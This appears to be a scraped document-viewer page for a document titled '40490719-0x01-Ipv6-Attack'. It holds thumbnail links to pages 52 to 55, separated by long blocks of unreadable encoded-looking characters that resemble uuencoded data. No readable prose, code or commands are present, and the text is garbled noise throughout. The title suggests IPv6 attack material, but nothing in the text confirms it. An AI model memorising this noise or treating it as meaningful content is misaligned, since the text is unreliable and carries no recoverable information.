MQ_@".ST,$,UR^D:IJ"1<DM_OY#?ALH#AO5./VE2.^AW15*D,+Q7C>ET?YBU3M`IP?$!N6MZV_RZWK-EZOOWN;?7BBY53B;H?*Y,M82.9B1]08L6I"L[@(Y)$RM#DV`:'SXV"Y!OJ+13I88/5P/\WF+QFG5'QCIM]\^7'\'__!L7B?((0(J_+9LM$47&$7%,6:)N4?]91NR1EGAF'0Y:;ATA"!YGK63N)1!5O;'69%5^2S(GUB'XMBROF+BE3UU]D>32)H-9,J37983&ZPY5H%YTMASTD9PLQ^3,-55IR$&,7;5XSMV9?D-CJUBPW%)=)+BGL)'!QG6-A/%N:96,%QB5(*VBL<*)8U>0ZBK)U\,$WIMP'`TVCB&.V@2T^-A1QX,>PE#)CL8MI>T^CS4)0;7EF<I[\19<G&(QF1`ZY/&M2=)@CRJP-HU)MJ,Q-DGXF<-BN3COT;A=9D_-XM.E%Y(77J$8Z+IP+-<1_A38MQ%P7$(V=Q3N#6!U.+&"Z:TRX,MU/N5A(LH"5:.<KKB+=8CQM]ZTU<)*>F;$0MM'0[AB!CA3YA.VY?R&@OK4/)R.\DFL!H%VZGO-AT63;R@BH5<M&3*E*S[@1+MXJU(=J$IVE4V"YGH2IA!<^$3XWB2V@7CBIPLPO&B!J1,6-E>=!VMZG1+=LJ2M+5CP"+=P\R_E>R[S+V/Z[53RQ1YF,/G[8#:>0-*+,7*&/N_N=V_WNO`)'7S`M]-GB`R&R$^5..);7?"T(GR2WCC.G+P6Z$U3FIV67PLI>;JCJ%!<WY.E]F7\;M>7',G%9\[email protected])NGTAL`3.J[!6F.WPT]R.RS/F+@84CSCI!72U\%/<AW@M;<"3^PRU'A8G-L<\2C._C*HLQU3T&L46YQ?`4[#>:U$5ZG8*NB(8!N&(GK4*M\<AO-7O/Y!/D*5$@\M3K?'X0#"<?\H.WZJL\\VDP@=X`U7@:S#[D9V_Q%3VHMB'5A8B01Y@U'>;PM/^1#)S/A*.-^W,4I;"QB@V$I'.N'_,0I0L!"O41(.D$EM5'@D/UO^U)_Q2>^.S\]]*DW4V8?\U"G.!!M7LGNI,,I/*0^4M:>TZZ1E2+=*MP;II*C/&B:4@@;R/8))RZSQ#@,&-<$BY]7/>6%/>&Y`70,L^!\/*0"4;6&H#M3\\;K@#3N(YV).E2);Z1.36OI!5\15Y-=/JY/KH;-'R3/N7@#9[2^+Y:VQN]M!_REIR-TW;NGCJ=7BC<!Z3KUX!X.AU%!;-5P0^*[I=-!.;C/ZL$#)7UT00)%M\+JG]#%`P!G;6ZR"&]]"23J&6F'56VR$Y_?&-O3N,BV8#;-0/X-0.EGM\D-WM5-H1J1XD8<N9-[UOLV\**5]%QS<F40K14ZE*??/1!&1N!::)KQ<G5B'483M8,S#<ANRX9@!#:N'NEXT$/;ZIHL(`&%(F#&;U@6"(A"A!Z)V+`U$E,(-74'[MUJGM"E&.XPO)LR[9Q<R4WJ+A8?)UF5]C>U+XL<FW8!*+R_TBZ#/`,/:,4$Z;M,Z*H?A"PX:,5PQ@AS$>9L@Q?Q;I%(`0?M4VK#Y'^6S)[X<U3]U$.D',FB+`[MY#O\D;R(D^,+]#CE)H)\"47.9'B;!&UD6X2_U]\]PJQ$O!IGN3$:>\6=K+=RMK.AJ&]J=;=T#9U.OM*MOWM9F9=P>INWN^!KIFU-W;'I3QQ)[_(9-?M,NOW:;M?_D^3T@;[58_<[;Z66RKGUD;M?09/5ME.I7%Q`ZU<.RCNA^,>J093QN><#.KMA"K""^UT(I6X8.>K1C,5G1>@.JI'ZJA%H,,NX4Y$,L\MQ-<:>A=8%06"SW(DMB-ZMC`6I3\>"I/DO0(3<"I:B0C&G62@3@SDCPN0Z*R975S$E]J?XVJW4:XM.M".-+(E-D&E7YJ:I`Q^I.'=?`ED7OA"D1?-$WEW'=N.3]<C^'-PQ?U_X%I5,<M6B[I93GA!W*5VE-&MJ3VVA>-HOI%I5/:7M++E':6Y%STX_8I/:JG'0Q#M7_>M0MRP!6\X*X(^IA3/3V!OY"J57*6:J]1SS5*N7$[9DS?MJN5GX[KWS=5;^J*UM2\^)`UUEH3Y[;#&??CJ>29RABM=)FDLO#$XBWI/C3&8OA<GL:F-LN"/8**@]MQW^.]0H6H5#2,WZ>-%_2\8QF%+E[+@>./(I'(2D70]<+:ALMAK5LMAM.9NQ2M5(+QQ;B$;MFC/[[2#EIM:$+/T?$=H)=`='5N^SR!QZG<V8NFG\Y^W_"L5)J9MQJ1-?193=77Q@[A*-;D=BC6`RKO%F"-(F-AME+N2T)E\4>'_KC\[[;C)3!W[M]].L>!W'$!8W]"?*<N8E;LMW-+,L]4;.,:GG$\>98V%A/+!,U@IS3R%#"*<>M*^L(XYWTJKD]L?,5"U_/LY4;;^]6G=YPNQ-VNWI_;HS.H95\8T-<NALW\\:GM78%#7J)8V&16RW>;M]IN8_DTCN@,:UJT*/9<Q,R),B@Q"V?!.6"'CFJYU4^AMV)#C3N"<Q9`ME/`5[JO8FPO6`H5W`W_87WRO2T(;`%12WJF,5/%=%K+-!EU2M[BVR1"BE*@T\'$T`=Z)HZF+Q)L7?'6E+=*&3>`("UAGGHRFR?79&/R*W_^?&M'1I;*L!..PMA+?=1=U[RHRJ^1\=Q&L".H8!)8<R/H[.1]#'L`K&!3G<#VIYLM3\XB?3H_QD4A^=/<1'^:/TU#<KY_R(&K=B58P`-UA,AZ=]RS_C53`E-1U1V.ME^D$6:U9%VXZ^@!I+F%0UAXZ>--[UMTBXG61=Y`-Q'!*SFMQ/SK.,2FR*T>IMTE$BM>Q-#!1VG7:5\<Y'1B/0@M<+\6"PH,\ZFTL.#T.C^+.P8^@&A$3F,)/IM/+1:)+UC9UW<[LG,H0U0*/%%GXLS3R\98&LZ/P]GKM\]"M@9R4($Q8E_-1S[M/177T?"2$<0*9NT""6:+P0/@@:$SA;)U-SY-F.<]T<"E2X+/LP`]PEJ;%C[5MU@!OW)]=P$ZU\R?SZ@Y>+#<X*!J[YL.*N5YS0="$=LBIM^K,^WT@]5`=J0]$M;R::`=@I#@)_DLTI5M=2K`^<4VCM#S35>!2P[W$`0'"\S-(CN$L,Q1&?R9@6M8CD*>`?X,*#EGT,9/D$V<IH^/X4RGB#;G#K"WJHG/CJT>D(C4?LR$IA?3M!#M<]R8)WKIN.@3MX@SC#5'TE:M%!6+86S60MN-L48A5VMWA3,OG41?)&J:HNIZMH829G0G$(9,>?QA,!F5>_(/!%`8*?3GU_X:N5<(HF@>JMD6F5H#N;6TUT$=QM^!8N;RZ&$!)#Y[(BTPB(XN12FVBTUJVQW5L,&SCVLXWR8CU?ZZIEA[,K>9@VM<22!+BD)4B6&K6&"%YMMF=Q>"(`:S<U<($7=8B10`IE@!Z=AY(E`V:2BYF<4M^H@#B+$4=&'&89>=VX%&@QP"TCP@9"(NDPV6KYI`"NLZ!O4#KB;DS6(*)XZ#MI,9V%5J?D=M(.(1PY=`6'T)&\BG))6:HD->#Z\,)!4C'$!HB3VV)=8.NAG!,M0KK<7XU'^>`RZ,YG'&(0R^6<<+O4NWAH9VAU!)-J]&)'_M!3>C>P@\+\;)P'MU+&;]V=8(89I/80+;7P>_@TZ]#Z<P@$9&CZ-K9HV+D=L5.PN%Q!Y0#_DKE=F
![Page 52: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/52.jpg)
M`Z1V49!M1VU.-$:U]VBH@"K*PZX)"M&X0)L^?.LA4`BZ^6@0!L->LC^,EL!%M./!%+V(.=P`I<^IN((/8[4DDF@$QE[O:L:A,'.M^4`L8#+`[GF`U`('G<,-?M4=?>8\\(1N4C&,6`:"-<=@[*GCDZ.LCF[-9);C<,//0>&H1J.6881G8D#4BCMHRDWA/58?F7#,+&8*F6$ZETP"ITM"^L!<$.;<9+U)L#4TS`>OP$]A1Y(!!ZTMZ/1'-K"2>Y7_D'36W`OZ/NI0A2/8G4,,?$;.W!D$H&[)TO'+EKQFYZ'VR=()MAFOCV(;)%I@FKEU->,MK#W/BZ.6T"@ZC#[0KW/+Q^$\2FC1Y?*E4C'A9P`T6M\%(=(0-.$QUSUE3IPZNIV7$+YK2$"BRJCD1747>&JK@`7X<%,[DG[_V3:(*.M&TM*99Y*0^:U^G$[ZU%@N?YHG"<PDY>9'D^_0JZL*1,M6P^]@2@2J>/6W8%[ML3E3\3DC/!=-,@C%L[@<1S?_8WJ09AU?%B\Z@Z01,FB@A#5(!4IW"`C]5*YAMW3T'P=)SG%L,6G+&T:5<MV&QV*_)[email protected]@=CQOA\-\81_>1PI(L134THMTAMCH>J8J6SLIP[V#X_56AT_:QQ+%/76<)TR'$44JB'1"#V=CF>O*R46\\"+M[N0J`TDYS&.T7/IH>_B]:DM(1GA/[_@"0G59E("L$+141R9U0T.3BN9#^\Y$M+9T&?\U!X5'T$"$B5HH;(H=13Z-*#EVMZ-BG#_58<(RORZ4*NN!D*$IQ2*FFM$A3C.*3PF)7^_Y6"D'*T$[6]=W*P?72T]^,NM:C?.B%*6<G*>;DL0JG)H`-TMLE8QS]EBY%(,&)K#9<M17Q_`H+5OY7BL4KL>+$MS*DD$]RR;6)<X-(DI"O6ZM0465?C9A14V*"2PJW8@6XHMR!U(#B][email protected]/!>)K)54US1V!-J5ZM'*KT%M++ZT?I1%H=N>'*EOB0%B6>J!7<+295EWW&A2381>7_UN-YA@P%.52>Q+]4U6M/<#L.?7`A#VE::B8>5`4W`CPE4`$AF($B<@KY,NM$>A["@!#'1'P4.]+A5+YMS>C-="U7K>0D^BKST"`_[ET=*1=_9YT<<GHIF=-8)!E5L@^IV868IGH'&?=(M>$()HAO6G50*6,U[-+-'R+<!)WL#:1P$)"%#5N-5?CKUM1<*;TX&5B@\8#WKM@GK&U0H$R:IXS&C`N*[R9`(2VM:\#<B]@2K+B0X`)3#Q56K4:6E8%^`J"NHIMHIPR,G8NE'-&B)$^,-`,6O(;>R+-R_20P#@/9LP;1CK;]@:+BX=(#-`=&LRWM%Z)5CZ)_R.$DAMHHJ%>82?&P)JF3[5"V(\[,;1"[-S:`@OH]BH=]U/Z9"G=WMPF$C^!H0S(:P;;,0.)M>8@"YY*SI:=96,82#AIKWQK5[EC;^_1B1F3`6I%P'M?='"@C@2`-B<!+9U[\U4?$0E;M;37D?E_ZH*L1O7RT!R5DT1?V3.E,1.:ZGBM8'P>%%'&$0MH422FD&`K\;J\WS."SI(*B5Y`!Q3?I_/F-V`X&SEK$^5$%4!?M5:$$T+'9>YV-A5`$QI**XKAK!DHBFA+UIX(^VNO=4JM<JY5;Z+J]V=R"'WV_MW]IL-.!=K50N-FH%3_;(PBC(64FHHU[EX+=HR)]9A+8GHA&/4`6476CTRE62M-OTTPXAAK@<[1[N'/Q8L;]@BB/QJ<>BVRB&[T]!Q0+S/G(HJ3D6*?O>-7=\^M/M[Y/?:=?WG*8R+Z[X\Y^I8_F>518BGDD.:DVUQD=KO-GP^C[HHKIVC"O?0+M(E'Y7TB.FH<SJ_WLKUU6ZJ6-O]Q6<SAZ7"?O5@\9HXLR,][ES__[S_^W:L=3M/_/C?5GQ?W8EWC_^G]K/_YV."\XM7O]!B.$'HO`4`>K1WO='N]__F(-%.B4VM([$?B"HO>*7+6IG_0X6;[[Y3F:RL&MPQ7N!?*N=3NBS)#R_H+GW32[SI;/9[MY5)/,JA\N5)JENOE9KWA!9W%O-U^OU^+YVV4-RM>$$T2>=$>>K-36DB`:A-9MS1B3"5!K&,_:+-6:S:JN5)6KM7JYMEF%OO92<M:;B9R0Y@7AZLTSI6"S`JFQM55'J-=`&ZNB9VGNF#I^IMUXW4O$J-ZO<:+GN10OO.ORN4O5ZU[P+KGG73[XSMRWN:?%/EGM3YW!/4$]S"A7"&WRPR4@YWIQGA&EJZT8\V-?H!R-09@MQM[0(IM0%]>^II0KJN(M'H`M*U4DS'D(M3$ZT[]:%!0WP/R@*P==#=N0WA-@U,D$Z9JM=^^`O$@!F"+'LLP1M`U9;U:9;6E@0'%'<`^@&\4?4L58C(=AH&^)868#>XLNMX+C?CVS`UP61B5I0'HP72(9&T\(MEF$2H@D(K!]IJ1ZY4L=WQ0E<)L%T=(*NME6=!8=IAIBJ]\_1+;@Q>ZHY(LTZ\*Q-XV4CL;6<]1F2ERXR[\PQ0:'GYEWM5M*=6<>(O7##C=E;@8BWMQ]I#R61_C6GF5'I.U,7QII\R(A:H.YRGE#$C5K*5YMV6RP5[B6YYF4(I5'6Z_>"0K33P"K4DZEXM6-K!0C=+N4XR_EZ=.%1>GR)?ZMM:.?H7,Q,E`W(/@+%*TD!B+V%;DP#U/<(;$]N[HCI!U"W(\#0\^AP,-X95V3;MB/?,2^]:LF,G\?FQO7)H/K)03,Z%1PH8)-D[U4=LL34.+A!%@.\.KWC/:H7;M*7*-D.%'E(YI5TN<C*0#@,@@5%[2AO#`%2ZDLM1MG3<,VIY8#.ZG<;Y"\3SJM:UGV]16(+>'UF?)J2P`J9'4<:CFMHSNX^VJ;O$#O7H:S=M\?1K`=#N#@0M+.M`"/I/@$`<B9OT("1W\%!1J/KL)<H`^E.X@OD;+5K\,&BA\_WCX[;N5@5)C.'MPIGW`5=<>W-9+;^Y['7>7-:K;RYK5?YN^&\N2_#7W'IS&93YN=&`=\TWE]T>MI)?65`$+;T'B%F2J5]+_L%`#"I6ADGI7/TMA;*%4BK=2ADQUS-RPZ;6JVP,IMS-UX<]DI\8L.9"K5;+KI1:PB*:P+Z<Q;..XM;J7:=\<)A2!]$_[ZNF4<3Z7/M?YM5?M9I#1PS5A1(JU@Q]D:WK+N"/2AUS&P^!'AM8:+<`P9@(N?2WJ`9G+5LM0C3MA:-W`$CXIHOG1UH:X_\:)I/U@2J!_X0986K4.AN#<,@NDIWXY/8PHA]3M/-6ZWY:9\7E'[1!#:<[.)\7+RT&B`FDJ'YH,*M]1&S@1&^@MB4[IZV_>*JX;M(-/,/SGU3TA[!=W%!6CQ2Q9=R/P#'+&I,HCK$.+?+F>]Q)F`9>O"2G5@I<J;M?#YZL+P]W`NPR2KPUX>_#J0'\-</,+^S,^L^'RS\+L-&*U7M[R967N'=&L!WM&0OWI7`9$K8@P<>-A1EQHT$+/N[_.O_5?&[=ATW7QS-4TZ<16FY`JSYVT^?"M/>A^&;[+N-'@=Q>W?95_XU8/],[LXVZ$ENL!'^D`,C2ALGZ#*^EO<>5;74[WM\4^?B:#$DU"M\:$):CR)5>AB!R>JP;W#;=^#M$T8QE9%"OMUVT(-:MU$F%#AMKE:A4`TJ[L'S)KSK;O*X.QU=&%Z6(:$*XZW7N'8\LKV`5V*SP>/O]WAH/6RY
![Page 53: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/53.jpg)
MH;L-70SZ7#O-+@*1.IY&S]5@8O<0K(IF3Z7P^W`O"7OVAWBX7\]AT\115A,`MF7DP!G=F+8?,[M%!5B2AK-(4$[F1^E2T`"U(\8DO:?&`:Q'R@J&$J1]F"((0M`L)HP4F\I^S2")U7BK(+QBD'$H$8RE::9Y'9I%2O)I0&],(S4^4`#6@[C^EMMU6S(RU?[!PCDMDI9\<^7_XP/E_P0K_6#2ND"I#J=5!^^H$V/6.1"<B%!(007MS5\JS[,W/P?(HY=7SQMZLC4\OT7/!@E526(W366S"8]W,HPY.+C&;^NGN3Y8M"'LHEGXE,N^+A=5\K!ZAGX#'B4"!:,,F]M(K61/&&A`;'VJ&Y6N)VN^G+3#>M,PJ5@MX'J*Y/6"]B2MY]OECD:DBY/.#NH9O!UG5W/]S=#W`,[B,XT;"%MLAHMC,&+<)9+:["3V%]'$$HB]MO^K8D#D%7=;\AY(8<:KO\-.!D9<QCI[1(O'`D?M'!K;07%2F[M><#=Y@7JNO0]#-S%+P68HN*_7=@8!W%I7X[E<2Q@5UH8Z+;'EMKWONZ,RR<'4=):A&-/F+(+\*T3V'%IW5KM?(Q&*&[M,C"/Q[8BZ\3D#HOM":H"#'8005*`4D0@9"'!'[*?2^;[HX\YE'R3%2YJF)-N_W<J<X56W2.X_&]1M/E#]?__/G__GG_^G]9___>?_X4_E/_WIY__V__VOW9__QW_\'T'PNY___1__M_>?_Y>?_[1___H__ZXY=?@V[O-ZH-NJ]RD+"';<\_=UG<<MYVUP6*R58"@!!MT<2S:]+20V_R=Z7'W_V`OSN;TE!)TN6YWY?W?5M94U>F,Y=JB><;OTUE7=.SM>E=:]),MR_/-/>N:GO7T,*6RH!D?9EDJ:VS%OTL]4UG/]&RK]+G?MK+F+586MW&;/@MOL6?\V>]:_Q9XU2[?8LV;I-GM6OLV>E6^S9Y7/[AD#I1)@[;8RT[-.MF;_+<A9['?F6`]V3L[@I4*4BW_V:J:QJ>M:1PH%\:WC6E4JZ`N?J`@BJ9?ULM*S,]*S?XNU2-%]+I33VLBN23G@454UG-]*RL>R+#*DNA+4GWI;)&-9ZOTK&5MF9[YTI-&/?Y=T\!2>N(+G--`M&3GK&Y74^:D(7/AZPGWXSWI:6"I1]"SE9F>M-2535^:H6XVG5Z5P(.E]6:AN8"IKV#M`YF9+>A1()4WI:;\1[UE?@^^RK<R>M@&Z\L*^_98X"?:%(HU69PZ8]`9NF9X&\U#N[JB\42>\TXG/;D<I[3;Z773?AM2?:%,"(T*XIDE\1'&H84:3`F(?;2)<0;22()#:\3_+'=HX,87RS&%F,!IK#4MM!T!JM0AJ7:./E@=.:>]B0HBR>)R3O0#UY?I,)S-AH%"`1;.`(S=1#W;$.H6M"50@%3M]VV^473F1H<RD496QJ?.L.!6FF)V1B^HBDEH;,2-1:M83VG*Q>:"GM?J\93VR.%E\E.T2'6:5<CM-*Y%B^<D>0_=($F>B06:4R,H^TMCLD?A^B_P32MS<C%EU3[)7`T>WG>M4XB3J=1]5@\W!A4A`HT"MT-SYP[5/2%TXMGEIISW2?LM%)TRZ)4US8+B)DN+I(W&)YMYI%N+I)AZ]+NCV1"3/*_XC>=T?9D7^5@DU6DXMF>!.&O7B(<35[\;C46=\IEX$`=#4061(9K^#3!AV7<!V.$Y8<>^;XDKV'?W>M"3+MX0MW,+H,-U89%:`>T<8$"X_(B*.KS3=R2HP`T&MIP@CD.>2'O-\@OVD/M$O#GGGARQ#[<:U<=#X7]C(DE_'4D+%]_@>6;4Q)8.&O\%)**O'9P!WW`P-(FM#G!K+=MNH^`RWM+NX2&T\\?Q7/7&(_0C@==`NONXM(:T<0J/L*15_^F1S%/HM5]("Y8=71P>[.^[;928H7KJIB1X5?5?>YI1T0#W04RR.<..&)WK0._YH1#H]MT7CX/M!1&7&K\6CU8.-C16]MVWMMW<+#[;U[-*$/,7&/[$!&P:7Q32E)/.YVM6[,+C=^_3-06@Y98SIP\&6L6>3:V+-D%(Y:N/]J8*=:.4JFV+&*$P=YPVZ(4MDXETW63,XOS6UB+&Z:]M"W9DJHP@)TMBC%IBAASNJN!4/GMZ\J?=P_W,`SEDMF`YI1[O':,B2DEJ*I7K&1H9<])J2;D%;,E:0C'DBN$Q@_)SC:.]/N[;V'`GWMW7_)J$=E50>51TP54';O*-G?K/48G!E1<'JTBLD1[#"&6VP6HTI9UUH(YDMFM&.!S,)WFU-KN_C.[BK*.%2>L%?>#8\N7=1MB@J0[*[X48QTN7=MAOX<9%CM\M.[UELR+369R%M/[.*=Q;IBQ';[&U'=[!"/*'&"/\S4@:CUD*&>Q*S#C,_:/<M2]31A+`95D.;"%T*>QYJ_I1+I7(&<96L.DT\3L?S2=0NE[<R?@\NHFS.OO0FM%SUO%3P'$%C_/%!YWWM!UN5X,9]>Y"NJ4F@4*IOYS?QI,`)TO*ONE]71RP/UM##"'?;B$@#8N-5JU2@M0D1^.=]#(IJG"1K/A??_JAR)5YMW?_^G5[E//^V/@M#^YIA*6#6I,<!?QL[D=^F!HWE@,*D=L`-J4USDKB%K".B+"@CCE.`)MVH_VLM-DQF)SC^U$MWM;+HI,"U79<`6\:LN5;P',\=VF72.>G":>4\\@^39K&+_FB,M%Y!*P@O(,W93<L1J/6XK,0<FCIF4N$!P%!:,$P:-4).-<$3$D_80,3K%$#J!MXZB#C:OR8F,5:PVFE1M!=Q<))SO6]P$%MD5<UKC540E%7O&!PV9EL75@Y0=TM+-'QI\8-F'$BE32?4D\"#`X],29A\<D10E&.-D#$R/DYLK_1`%L#@"P&S&4$MVOKO8F\79'S>"4:(JO'@.W[7MW'6O`'`-E(!(?PW8:I_G9'^HI^.^$B\F!,<M<=T0F]RDO;VVZM>60M'\')U_$!7/>SS->T/O!M<$H1CK%V*A#.?IIN9V@(LVM\3PZ3WOA6=`.19/1L55&=K:.8VS^C>J?SY`X0VP?,.]_26/S=&MSG?CDAV?/MCOZDT!3;I`%:^A32D!#X)8W%?W5;\>M,Q>\LQ>\LQ=6"I;C.8X\_6G*K=EOEMRZ:,,[KI=#QM.<`BDW411M<8G).TJ_L;+<+QH#C5XB,.C*,Q*^>@!-/7?*3?M&KOJUWR>^?0H<X`X=T[A&>(BNE>208K3(>,J=`9"H;%]TX;.@=BN9#+WFVZ(M&\F73:'L0U4L)FY,/<APB-Y7!L$TD-H(JZ8FX_4Y+<KLXKPP<OQ[5[>10#S;MF1#+:297([R'DW-1FIZKUY?OP_`MLY)_!TV?7ZDGT_$%!H47!BQ[%M5(%2`^MY#?H#.\^ZU!1(DPZ,2'Y%O?LE1\S.G?W2R[N'HD#@?$MD%*+<4@)-'DP'1$\MU:^5^!`Y`3*(U?;4R4G$\/($?Y_[EPANS>:,?4Y.X"A$,Y52!R]83A4*!0X+M#6G'SP_W?X)O(#2F(6"?P<F)RF1T7GPX.>%NG9SD5#6G:EF"UM[V]!2=M*FSM(%_E=9%)<4:9[N;`]L\35&/9G.*U91M9K)]GT1KC:R<`[.OOC)#JA9<:`SL#MB#&%RX`V#7H`L"KP&/]3Q04,<+3836;<_,E%/!GOI%"H:-'/%O!GO)-Y(R_H
![Page 54: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/54.jpg)
MQTZZB(1H(C#-=A\H0XVJ.#B+U=;9T(D;O,6U/;IXRF-J*>Z8S[']]E8V@U='M0`F1.<`B3N;1\G^J27D%JA6Z(ADP+-6&7"TS#HS#H3B^JYU&?C^$@SU4^Z3RM[!W3ALA\OW^<-1@JK^GB'M/1^6BVS5)0OV,N&;4XPBSIN/.N-S^?J/RA*>9YM^A?+Y0A(2/>#8;]:R8=5H'V]IW]\M?UR;P=`\XM]&/W>_BOXN;-_^/3(VP?0MN7L,98__>+`;/_D_;K_X8=<K-4NUK7Z_I`Y/H*Z3[U_L/SEYNGW,I_WT?#PZM(2'(R0GE]$LEG?-W/[P\.#EZL7^\-&<M)2=?^CI',R4'7THZ1S>U-?2N)ZTAMRBJ9RVE=PV.LWZ=UB!$)G2.M0XPFZ1QI'7(P.<E62>L*8D/Z?5I7Z%K3&5)[M$M@*TOHQF<\B>5]-ZX#>ICI/6B<0&7%V9=@'\-L/3U4P&Y0XHC@2,`WB^^(/M.A`MU0^:&*P:PU!S4.FMH!4T_`X>VJ/N>!*T7@`L3)9:%9Q(%7PJ'2BH/9.8M`_.9#A/(D;<]=7#0;SSG1C2LYSMF2>T9E^U07+L?,<2G`;H.-&:?R%H*9YR8M8*W:7V$*[>X:.DOMNHK3.73?#8UI#$GBEKWI(MY4P>ZG;@985]X,O6ZKWVDTMOGPS5!8V@^G<ISK?0-</7T\6_Z,7F5$XS-I_K`YEZ7*S5*GCW^J__"_L9&W]MDGX8/4ZV'+&>),U2Z["K6N0J*VVN(=FT-7:$Z:5;R1H37^-[WO+>Z'9+>EKUMTIF82YP4,Q8U6<1'D#<6PY$VQ'YX`P\!ND-EIY?H7L"?D`\=P0?9%I]."=JNM>TE+J9@F2`)16S20TNU[BY91:9:-Z=HMY#W*.A85@H/YN9JL$-?6":(B!>W[M5#[1=;)NRY4R;"``=]M/GQXZL`S(-0?4Y?-IV(G#1=+%C>8Q4'OBB5"#T=E8M#6!:T'@@&@*:K[ZU+@-L3S2V8EE4*-!"7(3X5AX1*:;<Z[>JK8K?H!"9./*_M)1G&-\4O,+KY`I.;+S"X^0)SFR\PMOD"4YLO,+3Y`C.;ZXUL;N)?4D1.K:2@M'JFJEA?&]!1(38'#)G#DUX1J@N-A4^1[+D<&=^O;G/J&*F@K+=E7WZ!+SRINMUW_+"+6>U:?N6U7)YI*IV=Q'S38-<PI#J.44N=!EG8R;=#965]J@NJ%?&7V*M'Z"*('P`T2]EU>/'JDP\4P3HR6R8!;-F;47Y-FH4TG.4X`JM?1U]_77AZ][EMUU]_W5L?C&(/,,T/T,>I#)7A0"Z#K>8I#:`0UJQ?P:PQ(S'&XX)4&#A,@3QGM<ZCQME7:R*EZF7EQ\5ZE%(!NOIG2NALXP^,3=F0L>XQ/O51MY`:]D5441[Y$M<^0Z3O2JRB,QU0O:]I^B0')+*B(K*HG$U42$M[NRFHCF0.9DWR+G[+_XL*_1M?TDX'%XD&41;`7"&X+(A7W$]!7GU*5BQ89[\&C9HJ/H;]!M-2<B72YO5S5JCMA#9B2:LTRKN9S-LL5U+LU)IL'D3"MU3#M&[2,*W1A&;3#=."S5IW(6'1,(W4MF*NF?S9AB65:/6F9ACE3+=.2.>%J^%++M-(F6J;M/%,'_T$MT\JETJ5KF(9KM8FS)<-8VV:AK<9?QW5JJ]OM?V4UE:JG;6N2C;GC^RJ#V%5-+(]87POKU2+:JMM4I0J9OY:%:KU5JU#+4TFI4:O*R;6C9-+=4REFD$=CZJL!5LK5"P#A1Q\RNTMF]DJ-0)G1,VN-;WA_]0-SU_9GZ:6K5NIQ;^56CJW4DOW5FKIW4HMP:W4TK^-M6IJE6ZFE?"NU5&ZEENJMU%*[E5KJMU)+XU9JV;R56FX%OC1O!;XT;P6^-&\%MOC2_#+Z(I==_0E,OG)F"=[UA5HH1EB:.)^S&$:;`*)`F3;(*7@K_3#<M-EF?M;9#UKVOHE!"T_$KTPJ^J.UW*H'=&5IPVOUEK6AYOUI/&:?**$;*_KY.Y?*8$M[A9$</_RVM6)((5QF?\OHUY]I/55`-;-4#HQ815E*[%+Q);2KGQ9YY>T;W$8M-)6.G$\"B]%$3(,A:Z?H$*K^6=CAZ65%:)([Q!5V8^`0%:M)9F*D##[Z4NW`M=+U#/J;6I/7$VZ.I"FHQ$Y1+&8&)0X&.6J<8M!(E3!-_2+KC(KB94/QF445OMHB(ZK<.!5K3\T54*(_)^-CZ#=%'2&/C3?H@A!%F,0UY?W7@H,_*Q%UG-$YR,ML_'Y?"1C0,]J$UWI8@4H]SF?(-0U=<W0RZR$U+2PGR0WHM?BU$]Q%^&4B)L[M"CR*%]2YB2<;A7W8A@.,;3(^#4;BOI9B<[$#9ANWM),>X-3CZ,N.*KT=D74:MIV^UQ#&@LMN'!S'[S/B%]A)/ZDCAI?$R[/5DJZ74X\7Z@%Z`M=J057S"U".4M38Y'ZGGX#LT^4:1-BX[.`5$)BI?*`@Q'FPXU[D_AUO*C27#FQD6E'<RQ1;T4M32MWK[J!1(UR#D\7GCL,9(9Q9Z:\#VB;47Q.1CY^A-3G/L5[D;)LH,E1^.PLM>AB%]&)$CDOI8KX(.A&B,,?/=U#X]Q;V_$Y*W%14[,=+.-XQ&VN9$(G0<6_LM::W!*!C",1M0(+AXSQ9"V5&@>&@'1<8<?!2V$4?!YG@U%.I08F4G);X4!UQVM2FR(GCM$\7`N\:JY#H!5`4![[(Y_-@BG#I;%,<]+A4T-"C@V[<+>\[S%[4@6M'3+S/FOFN7%O7NX=O\PYQBH,QP"<33F8*4W6#"9]HN!P491L5`%"FP.[!<>1MT4$<DW$(XP:`H^+YA&R#/'^I)'3!H*E3<N$]`13WK*!^1]$B3?-DSQ),<7:3M(>%M)EP66!?6)G%@1,YFP6%Z.CXTQKHTT6]8[\0`#]S0U"F?8[O`Z8?$+N*$MXS`:XP1X>,*?/D<_WI/QN$]'],"(H_GBT;.,Q;7!1V@07SHKWM[.2RPP"L+3M06>,OH2C+B+S5PY(IF:LK#M9AU2!:"7`0UR5[?ELG-\A%&C.'GCMGN%=(V5>MZ6:?ZF:+1^-AV`V9^^OI[L'4((36GA7@2'11Y1.F='O'B*OU[>>H/[email protected]*M"&:C@)W1GX)\7AVIEMK&$,?CN7KRW>/'^H7C_O.#>H7(P[;Z<*.K4,GZ1'UPMVE*ZSD>/7FU#<WL*1O.D8#^N>U,=E4B:##&\!.$/@WD'H&>H&TANR<3VSGE2MP3G/&JE;Z%G"^9-J'/\`1,C`402LB1?`,POE+H_*X%M%TJ]RM5Y\=91%HD:JM/I\/9V'7CV9F@03MXS"Y(VPUT^^7*JU6.8NZ%@AOI2\:*>%8%6Y/%"R3XV<5MZIU@K&<=4<VE9^/%]`"V>[#-9F&$EV!\`(WBJ^TL:;2@:Y!W/)=F.#R)2*H%M&)\702(%U-7@\8P7"[`+`3_.7:#,+M1=CT7KB'=T&YZ'T5QEZ&`'O6P!H*B@M!J\XXJ93V$L6@QYS5W/LQ406W[J3B.\>#_<-W\,SG)?)W"&28UEW8.R%V,?9MK/$7'W1'/ZQ8H@C_>PL)L-1X'G^`TXC/RCDR][QEA6-/]/"O?]0QE$<(EYM=MWO2-;XY4CH_/CM(QF]_Y%WY'B04?(!\.]P2/.$?F)H`.;Q$*F+AX%BX\D1VS
![Page 55: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/55.jpg)
